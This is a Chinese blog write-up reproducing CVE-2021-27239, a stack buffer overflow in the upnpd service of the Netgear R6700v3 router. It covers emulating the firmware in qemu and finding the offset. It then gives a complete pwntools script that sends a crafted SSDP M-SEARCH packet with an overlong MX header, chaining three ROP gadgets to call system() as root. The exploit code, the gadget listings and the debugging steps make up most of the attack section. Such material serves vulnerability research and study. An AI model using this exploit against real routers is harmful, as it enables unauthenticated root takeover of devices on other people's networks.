Netgear R6700v3 1.0.4.102(CVE-2021-27239)

news2024/11/25 12:43:23

漏洞信息

此漏洞允许网络相邻攻击者在受影响的NETGEAR R6400和R6700固件版本1.0.4.98路由器上执行任意代码。利用此漏洞不需要身份验证。该漏洞存在于upnpd服务中,upnpd服务默认监听UDP 1900端口。SSDP消息中精心制作的MX报头字段可能会触发固定长度的基于堆栈的缓冲区溢出。攻击者可以利用此漏洞在根上下文中执行代码。

漏洞复现

拟机:Ubuntu20.04、qemu虚拟机
固件:R6700v3-V1.0.4.102_10.0.75.chk
工具:IDA、binwalk、qemu

固件模拟

已经知道漏洞产生于upnp服务,在binwalk解包后的文件中用find命令查找文件名包含upnp的文件,找到/usr/sbin/upnpd,IDA打开upnpd根据漏洞描述的MX报头字段搜索字符串MX确定漏洞点。见下图。
QQ截图20230928111657.png
strncpy函数复制的长度是SSDP协议中字段名’MX:‘和’\r\n’中间的字符长度,这样写复制就是我中间字符想写多长,都会被strncpy复制,造成栈溢出漏洞。此漏洞产生的本质是strncpy拷贝的最大长度,错误用法是这个长度取决于输入,所以会造成栈溢出,正确用法应该是取决于要拷贝到的地方的大小。
进入qemu虚拟机后运行程序没有回显,且用ps命令查看程序,发现程序没有运行。所以程序因为某些错误无法运行。见下图。

QQ截图20231001100959.png
如何找到程序问题出在哪?首先明确的是我知道漏洞点在何处,所以先看漏洞点所在函数的函数调用图,找到如何从main函数到此函数并触发漏洞。先去分析main函数,main函数中会有很多条件判断用来验证初始条件,初始条件不满足就直接退出。通过静态分析可知程序缺少那些文件,这是猜想。接下来通过gdb远程调试验证猜想。动调时某些条件判断后程序走到退出则证明此条件不满足。再与静态分析的猜想进行验证,最终确定程序无法运行的问题出在何处。
具体到本次复现,静态分析猜想/var/run/upnpd.pid对应的/var/run/不存在导致/var/run/upnpd.pid文件创建失败,进而走不到main中的sub_1B0E0()
函数调用图
静态分析的出现问题处的猜想
动态分析中程序在0x24644地址处就会退出调试,原因是守护进程(daemon)创建时会用fork()创建子进程,导致父进程exit()退出,就会导致动调退出。解决方法是0x2463C到0x2464C的汇编nop掉,即去掉daemon函数。动调可执行,最后将问题确定在没有/var/run/目录。
/var/run/upnpd.pid文件打开失败导致退出
具体创建/var/run/目录时,首先使用mkdir /var/run回显mkdir: cannot create directory '/var/run': No such file or directory,再用ls -la /var查看 /var 目录详细信息,回显lrwxrwxrwx 1 1000 1000 7 Sep 22 2020 /var -> tmp/var,表明 /var 实际上是一个链接,指向了tmp/var目录,最后使用mkdir -p /tmp/var/run创建/tmp/var/run目录。
QQ截图20231001155958.png
完成目录创建后再运行程序,出现报错。
QQ截图20231001155851.png
用docker中的交叉编译环境armv51-gcc交叉编译custom_nvram_r6250.c变成nvram.so。并指定程序加载nvram.so。
QQ截图20231001193515.png
建立nvram.ini,并写入配置信息。此配置信息可由真机导出,但我没有真机,所以采用一份通用的nvram信息。其中lan_ipaddr换成qemu虚拟机的ip,hwver硬件架构写成固件版本名称,friendly_name名字随便写建议也写成固件版本名称。

upnpd_debug_level=9
lan_ipaddr=192.168.76.146
hwver=R6700
friendly_name=R6700
upnp_enable=1
upnp_turn_on=1
upnp_advert_period=30
upnp_advert_ttl=4
upnp_portmap_entry=1
upnp_duration=3600
upnp_DHCPServerConfigurable=1
wps_is_upnp=0
upnp_sa_uuid=00000000000000000000
lan_hwaddr=AA:BB:CC:DD:EE:FF

LD_PRELOAD="./nvram.so" ./usr/sbin/upnpd。程序成功执行且nvram信息被程序获取到。
QQ截图20231001195511.png
所以固件成功模拟。

漏洞利用

from pwn import *

sh = remote("192.168.76.146",1900,typ='udp')
context.log_level = 'debug'

command = b'touch ./abcd.txt'
pld = b'M-SEARCH * HTTP/1.1\r\n'
pld += b'Man:"ssdp:discover"\r\n'
pld += b'MX:'
pld += b'a' * 0x8c
pld += b'\x08\x39\x01\r\n\x00'
pld += b'a' * 0xa5
pld += p32(0x000CD000)
pld += b'a' * 8
pld += p32(0x0000BB44)
pld += command.ljust(0x400, b'\x00')
pld += p32(0x000CD000)
pld += b'a' * 8
pld += p32(0x00017DD8)

sh.send(pld)

将abcd.txt文件写入
QQ截图20231001215627.png

漏洞分析

strncpy的栈溢出漏洞,利用漏洞用到三段gadget

.text:00017DD8 04 00 A0 E1                   MOV  R0, R4
.text:00017DDC 20 CC FF EB                   BL system

.text:00013908 02 DB 8D E2                   ADD SP, SP, #0x800
.text:0001390C 70 80 BD E8                   POP {R4-R6,PC}

.text:0000BB44 04 00 A0 E1                   MOV R0, R4 
.text:0000BB48 0D 10 A0 E1                   MOV R1, SP
.text:0000BB4C F2 FE FF EB                   BL strcpy
.text:0000BB50 01 DB 8D E2                   ADD SP, SP, #0x400
.text:0000BB54 70 80 BD E8                   POP {R4-R6,PC}

用ROPgadget,使用ROPgadget --binary ./upnpd | grep "add sp, sp" | grep "pop",一点一点地找gadget。所以找到这3段gadget是不简单的。
首先是得调试上。在gdb-multiarch使用target remote 192.168.76.146:9999连接上qemu虚拟机后,此时pwndbg停住了,此时在IDA中找到strcnpy函数之前地址,然后下断。然后按c,让程序运行,直到按c后pwndbg回显Continuing。此时运行poc。然后在gdb中按c运行,直到在poc请求包打入后的状态停下。
然后是找偏移。使用pwntools的cyclic找偏移。分3步:
1、生成200个字符cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
2、写验证偏移的脚本

from pwn import *

sh = remote("192.168.76.146",1900,typ='udp')
context.log_level = 'debug'

command = b'touch ./abcd.txt'
pld = b'M-SEARCH * HTTP/1.1\r\n'
pld += b'Man:"ssdp:discover"\r\n'
pld += b'MX:'
pld += b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
pld += b'\r\n'

sh.send(pld)

3、看报错信息确定偏移,见下图。得到偏移136。
QQ截图20231002171425.png
接着是找gadget。其中本次使用的3段gadget需要使用ROPgadget,使用ROPgadget --binary ./upnpd | grep "add sp, sp" | grep "pop"。即ROPgadget搭配grep逐渐缩小范围,最终找到这三段gadget。所以找到这3段gadget是不简单的。
strncpy函数复制数据时有1个特点是在允许复制的长度中遇到\x00会被截断,所以gadget中不能有\x00。本个例子也有1个特点是允许复制数据的长度是MX:之后到\r\n之间的数据的长度。所以本例子在构造poc时需要考虑这两点。注意poc中的pld += b'\x08\x39\x01\r\n\x00'这句考虑了2点:1、分析IDA反汇编的c代码可以,strncpy复制的长度是MX:与\r\n之间的内容的长度,长度是这个,内容也是这个,所以必加\r\n,而且地址这个数字没加\x00。2、\r\n之后的\x00是告诉程序SSDP协议的设备搜索请求的协议部分完成,确保整个协议格式正确可以被程序接收。
逐行分析poc。根据本poc,偏移是140比之前找到的偏移136多4,找到的偏移与最终使用的偏移不同,这是1个保留的问题。返回地址是跳到地址0x00013908执行此句汇编(将栈顶往高地址放,其实是往栈底方向放,完成栈迁移)。这句是将sp+0x800,+0x800是精心构造好的,首先是只有地址0x00013908这句汇编的第二句是POP {R4-R6,PC},只有这么两句汇编可做为gadget,所以栈顶必须跳到距当前栈顶+0x800的位置,这个位置的内容必须这部分poc内容,见下面代码行,所以需要pld += b'a' * 0xa5把内容往下顶,让这部分poc正好够上迁移过来的栈。全部输入的内容都在这里,你想使用那部分就用那部分。

pld += p32(0x000CD000)
pld += b'a' * 8
pld += p32(0x0000BB44)
pld += command.ljust(0x400, b'\x00')
pld += p32(0x000CD000)
pld += b'a' * 8
pld += p32(0x00017DD8)

其中红框为打poc输入进来的全部内容
所以第1个gadget的任务是将0xcd000这全局变量地址放到r4寄存器,将下一个gadget地址放到0xBB44放到pc寄存器,此时栈顶地址里放着要执行的命令即栈里放着命令字符串。总的来说第1个gadget干这3件事。见下图。
QQ截图20231002203326.png
进入第2个gadget,首先使用strcpy函数将0xcd000这个全局变量地址里放入要执行的命令字符串。见下图。
QQ截图20231002204733.png
接下继续用add sp, sp, #0x400抬栈,抬栈操作与pld += command.ljust(0x400, b'\x00')相对应。见下图。
QQ截图20231002205137.png
然后利用POP {R4-R6,PC}将r4中放入全局变量地址(全局变量地址中是命令字符串),r5和r6没用,随便填,pc中放入下个gadget地址。所以第2个gadget干了2件事,第1件利用strcpy函数将命令字符串放入全局变量地址,第2件事将全局变量地址放到r4,pc中放入下1个gadget地址。
进入第3个gadget。干了一件事用system函数执行命令。
QQ截图20231002210248.png
整个poc构造是很紧密的。关键是找到打入poc后全部数据放在何处,还有就是要找到3个精美的gadget。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1056741.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Python教程:PyQt5需要学习,哪些知识点??

PyQt5是基于图形程序框架Qt5的Python语言实现,由一组Python模块构成。它可用于Python 2和3,拥有超过620个类和6000个函数和方法。这是一个跨平台的工具包,可以运行在所有主要的操作系统,包括UNIX、Windows、Mac OS、Linux等。 #我…

打开英雄联盟缺少d3dcompiler_43.dll有哪些处理方法

五招步骤解决电脑d3dcompiler_43.dll文件丢失的问题! 在使用电脑软件的过程中,我们可能会遇到一些奇怪的问题。其中之一就是打开某些软件时,系统提示找不到d3dcompiler_43.dll文件。这个错误通常出现在使用DirectX 11的应用程序中&#xff0…

CCF CSP认证 历年题目自练Day19

题目一 试题编号: 201812-1 试题名称: 小明上学 时间限制: 1.0s 内存限制: 512.0MB 问题描述: 题目背景   小明是汉东省政法大学附属中学的一名学生,他每天都要骑自行车往返于家和学校。为了能尽可能充…

力扣刷题-哈希表-求两个数组的交集Ⅱ

350. 两个数组的交集 II 给你两个整数数组 nums1 和 nums2 ,请你以数组形式返回两数组的交集。返回结果中每个元素出现的次数,应与元素在两个数组中都出现的次数一致(如果出现次数不一致,则考虑取较小值)。可以不考虑…

【C语言】模拟实现strcpy

strcpy是常用的字符串函数 目录 介绍&#xff1a;模拟实现&#xff1a; 介绍&#xff1a; 我们可以知道此函数是为了拷贝字符串的 代码示例&#xff1a; #include<string.h>int main() {char str1[20] { 0 };char str2[] "hello world";strcpy(str1, str2)…

2023.10.01 homework

一个小数&#xff0c;小数位乘以3等于10.8&#xff0c;小数位乘以7等于13.2&#xff0c;求小数&#xff08;题目不是很严谨&#xff09;

自定义类型:结构体、位段、枚举、联合

文章目录 前言1. 结构体a. 关键字&#xff1a;structb. 结构体基础知识&#xff1a;c. 结构体声明&#xff1a;d. 特殊的声明e. 结构的自引用f. 结构体变量的定义与初始化<font color red>g. 结构体内存对齐h. 结构体传参 2. 位段a. 设计目的&#xff1a;节省空间b. 什么…

黑马程序员RabbitMQ入门到实战教程【高级篇】学习笔记

目录 一、发送者的可靠性 1.1、生产者重试机制 1.2、生产者确认机制 1.3、实现生产者确认 1.3.1、开启生产者确认 1.3.2、定义ReturnCallback 1.3.3、定义ConfirmCallback 二、MQ的可靠性 2.1、数据持久化 2.1.1.交换机持久化 2.1.2、队列持久化 2.1.3、消息持久化…

正则表达式 Regular Expression学习

该文章内容为以下视频的学习笔记&#xff1a; 10分钟快速掌握正则表达式_哔哩哔哩_bilibili正则表达式在线测试工具&#xff1a;https://regex101.com/, 视频播放量 441829、弹幕量 1076、点赞数 19330、投硬币枚数 13662、收藏人数 26242、转发人数 2768, 视频作者 奇乐编程学…

红包雨高并发压测记录(200台机器压测实录)

压测5000线程10秒内循环5次&#xff0c;5台2核心4线程的机器&#xff0c;QPS2500&#xff0c;每台机器需要承受500的QPS 压测10000线程10秒内循环5次&#xff0c;10台2核心4线程的机器&#xff0c;QPS5000&#xff0c;每台机器需要承受500的QPS 压测200000线程10秒内循环5次&am…

Overloud TH-U Complete for Mac:演绎您的音乐世界

Overloud TH-U Complete for Mac是一款功能强大的吉他谱曲软件&#xff0c;可以让您在Mac电脑上轻松进行吉他模拟、录音和混音等操作&#xff0c;创作属于自己的音乐作品。 Overloud TH-U Complete for Mac提供了丰富的吉他模拟和音效库&#xff0c;涵盖了多种吉他放大器、箱体…

SpringCloud(一)Eureka、Nacos、Feign、Gateway

文章目录 概述微服务技术对比 Eureka服务远程调用服务提供者和消费者Eureka注册中心搭建注册中心服务注册服务发现Ribbon负载均衡负载均衡策略饥饿加载 NacosNacos与Eureka对比Nacos服务注册Nacos服务分集群存储NacosRule负载均衡服务实例权重设置环境隔离 Nacos配置管理配置热…

GD32F103x 定时器

1. 定时器的基本介绍 STM32的定时器主要分为三种&#xff1a;高级定时器、通用定时器、基本定时器。 即&#xff1a;高级定时器具有捕获/比较通道和互补输出&#xff0c;死区时间&#xff0c;通用定时器只有捕获/比较通道&#xff0c;基本定时器没有以上两者。 1. 基本定时…

【图像处理】【应用程序设计】加载,编辑和保存图像数据、图像分割、色度键控研究(Matlab代码实现)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

minikube如何设置阿里云镜像以及如何解决dashboard无法打开的解决方案_已设置图床

minikube如何设置阿里云镜像以及如何解决dashboard无法打开的解决方案 minikube dashboard报错 considerconsider-Dell-G15-5511:~$ minikube dashboard &#x1f914; 正在验证 dashboard 运行情况 ... &#x1f680; 正在启动代理... &#x1f914; 正在验证 proxy 运行…

LabVIEW工业虚拟仪器的标准化实施

LabVIEW工业虚拟仪器的标准化实施 创建计算机化的测试和测量系统&#xff0c;从计算机桌面控制外部测量硬件设备&#xff0c;以及在计算机屏幕上显示的类似仪器的面板上查看来自外部设备的测试或测量数据&#xff0c;所有这些都需要虚拟仪器系统软件。该软件允许用户执行所有这…

链表经典面试题(四)

分割链表 1.题目2.详细的图文分析3.详细的注释和代码 1.题目 2.详细的图文分析 我们会定义4个指向分割链表的指向指针,分别来表示两个链表的头和尾 并且将数据一一的放到两个链表中,最后再将它们串起来,代码中有详细注释. 3.详细的注释和代码 public class Partition {public…

【C语言】模拟实现strcat

strcat在小白看来是一个比较陌生的库函数&#xff0c;但也要牢牢掌握 目录 介绍&#xff1a;模拟实现&#xff1a; 介绍&#xff1a; str代表字符串&#xff0c;那么cat代表什么&#xff1f; 他代表Catenate&#xff0c;连接的缩写&#xff0c;也就是追加字符串的意思 代码示例…

海信电视U8KL使用体验:参数卷,画质技术也独有!

每个家庭成员对电视都有不同需求&#xff0c;如何能做到兼顾&#xff1f;看似需求众口难调&#xff0c;其实一台海信电视就能满足所有啦。 海信电视的参数不仅是最卷的&#xff0c;同时画质技术还是国内独有的&#xff0c;能把这样一台优秀的电视搬回家&#xff0c;无论电影、…

拒绝水文!八大排序(三)【适合初学者】快速排序

文章目录 快速排序递归实现霍尔法优化 挖坑法前后指针法 快速排序非递归 大家好&#xff0c;我是纪宁&#xff0c;这篇文章将向大家介绍非常有名气的一款排序&#xff1a;快速排序 回忆到我们刚开始学习C语言的时候。经常会使用到一个库函数&#xff1a; qsort函数 &#xff0…